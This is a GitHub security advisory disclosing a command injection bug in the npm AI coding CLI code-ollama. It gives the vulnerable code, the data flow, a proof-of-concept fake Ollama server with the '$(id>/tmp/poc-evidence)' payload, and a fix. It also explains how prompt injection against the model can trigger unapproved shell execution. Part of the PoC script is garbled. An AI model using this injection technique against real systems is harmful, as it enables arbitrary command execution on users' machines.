GitHub Advisoryadvisory · npm
GHSA-456v-xq2p-r4cj code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- code-ollama
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2026-09-28
Affected packages
• npm code-ollama: < 0.36.1 → fixed in 0.36.1
Description
`grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)
Summary
The `grep_search` tool in `code-ollama` constructs a shell command string by interpolating attacker-controlled `pattern` and `path` arguments, then executes it via `child_process.exec()`. The sanitization only escapes backslashes and double-quote characters, leaving `$()` command substitution and backtick expansion fully intact. A malicious or compromised Ollama server can therefore inject and execute arbitrary OS commands with the privileges of the local user running `code-ollama`. Because `grep_search` is classified as a read-only tool, it auto-executes in Plan mode without any user approval prompt, making this a no-interaction-required exploitation path. Severity is High (CVSS 7.8).
Details
Vulnerable sink — `src/utils/tools/filesystem/grep.ts:58-66`
```ts
const escapedPattern = searchPattern
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"');
const escapedDirPath = dirPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
const { stdout } = await execShell(
`rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
);
```
Only `\` and `"` are neutralized. The shell metacharacter sequence `$()` (and backtick-style `` ` `` substitution) is passed through unmodified. The resulting string is passed to `execShell()` (`src/utils/tools/shell.ts:46-49`), which calls `exec` — the promisified `child_process.exec` defined at `src/utils/node.ts:1-4` — causing `/bin/sh` to interpret the entire string and expand any embedded command substitution.
Full data-flow path (source → sink)
| Step | Location | Action |
|------|----------|--------|
| 1 | `src/utils/ollama.ts:102-103` | External Ollama chat stream delivers `chunk.message.tool_calls` to the CLI |
| 2 | `src/cli.ts:147-148` | Each `toolCall` is forwarded to `tools.executeToolCall()` |
| 3 | `src/utils/tools/dispatcher.ts:300-306` | Dispatcher normalizes the call and routes it |
| 4 | `src/utils/tools/dispatcher.ts:392-393` | `stringArgs.pattern` and `stringArgs.path` are passed verbatim to `grepSearch()` |
| 5 | `src/utils/tools/filesystem/grep.ts:58-63` | Incomplete sanitization: only `\` and `"` are escaped (root cause) |
| 6 | `src/utils/tools/filesystem/grep.ts:65` | Shell command string assembled and handed to `execShell()` (sink) |
| 7 | `src/utils/tools/shell.ts:46-49` → `src/utils/node.ts:1-4` | `exec()` (`child_process.exec`) executes the string via `/bin/sh` |
Approval-bypass amplifier
`grep_search` is listed in `READ_TOOL_NAMES` at `src/constants/tool.ts:14-20` and is exposed in Plan mode at `src/utils/tools/definitions.ts:225-228`. Read-only tools execute automatically without presenting an approval prompt to the user, so exploitation requires zero user interaction beyond the initial `code-ollama run` invocation.
PoC
Prerequisites
• `code-ollama` v0.36.0 installed (e.g., `npm install --global [email protected]` or built from source via the Dockerfile below).
• `ripgrep` (`rg`) available in `PATH` (the vulnerable code path requires it).
• Python 3 available to run the fake Ollama server.
Step 1 — Build the self-contained Docker image (recommended)
```sh
From the report root directory (where vuln-001/ lives)
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
docker run --rm vuln001-code-ollama
```
The container automatically runs `poc.py` as `CMD`. Successful exploitation prints:
```
[+] EXPLOITATION CONFIRMED
[+] Marker file : /tmp/poc-evidence
[+] Contents : 'uid=0(root) gid=0(root) groups=0(root)'
```
Step 2 — Manual reproduction (bare-metal)
```sh
Terminal 1 — start the malicious Ollama server
cat > /tmp/fake-ollama.py /tmp/poc-evidence)","path":"/tmp"}}}]},
"done":True,"done_reason":"stop"}
else:
chunk = {"model":"fake","message":{"role":"assistant","content":"Done."},
"done":True,"done_reason":"stop"}
self.wfile.write((json.dumps(chunk)+"\n").encode())
self.wfile.flush()
HTTPServer(("127.0.0.1", 11434), H).serve_forever()
PY
python3 /tmp/fake-ollama.py &
Terminal 2 — run code-ollama against the fake server
rm -f /tmp/poc-evidence
OLLAMA_HOST=http://127.0.0.1:11434 code-ollama run --trust fake "search the code"
cat /tmp/poc-evidence # expected: uid=... gid=... groups=...
```
Explanation of the payload
The `pattern` argument value `$(id>/tmp/poc-evidence)` survives the sanitization in `grep.ts:58-63` because only `\` and `"` are stripped. When the resulting shell string
```
rg --line-number --no-heading --smart-case "$(id>/tmp/poc-evidence)" "/tmp"
```
is executed by `/bin/sh` via `child_process.exec`, the shell expands `$()` first, running `id` and writing its output to `/tmp/poc-evidence` before `rg` ever starts.
Remediation
Replace the shell-string construction with an argument-vector call to avoid the shell entirely:
```diff
-import { execShell } from '../shell';
+import { execFile } from '../../node';
+
+const RG_EXEC_OPTIONS = { timeout: 30_000, maxBuffer: 1024 * 1024 };
• const escapedPattern = searchPattern
• .replace(/\\/g, '\\\\')
• .replace(/"/g, '\\"');
• const escapedDirPath = dirPath
• .replace(/\\/g, '\\\\')
• .replace(/"/g, '\\"');
-
• const { stdout } = await execShell(
• `rg --line-number --no-heading --smart-case "${escapedPattern}" "${escapedDirPath}"`,
• );
+ const { stdout } = await execFile(
+ 'rg',
+ ['--line-number', '--no-heading', '--smart-case', '--', searchPattern, dirPath],
+ RG_EXEC_OPTIONS,
+ );
```
Impact
This is an OS Command Injection vulnerability (CWE-78). Any party that controls the Ollama server response — including a rogue model backend, a prompt-injection payload that manipulates the model into issuing a crafted `grep_search` tool call, or a network adversary performing a man-in-the-middle attack on an unencrypted `OLLAMA_HOST` connection — can execute arbitrary commands as the OS user running `code-ollama`.
Impact scope:
• Confidentiality (High) — attacker can read any file accessible to the user, exfiltrate source code, secrets, SSH keys, etc.
• Integrity (High) — attacker can modify or delete files, plant backdoors, alter repository history.
• Availability (High) — attacker can terminate processes, corrupt data, or consume system resources.
The approval-bypass via `READ_TOOL_NAMES` / Plan-mode auto-execution means the attack completes silently with no user interaction after `code-ollama run` is invoked. Developers, CI pipelines, and IDE-integrated users who run `code-ollama` in trusted directories are all at risk.
Reproduction artifacts
`Dockerfile`
```dockerfile
VULN-001: grep_search Command Injection — CWE-78
Target: ai-action/code-ollama v0.36.0
Proof-of-concept Docker image: builds the repo and runs poc.py
Build (from project root):
docker build -t vuln001-code-ollama -f vuln-001/Dockerfile .
Run:
docker run --rm vuln001-code-ollama
FROM node:24-slim
ripgrep — required by grepSearch() in the vulnerable code path
python3 — runs poc.py orchestration sc…
Related
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness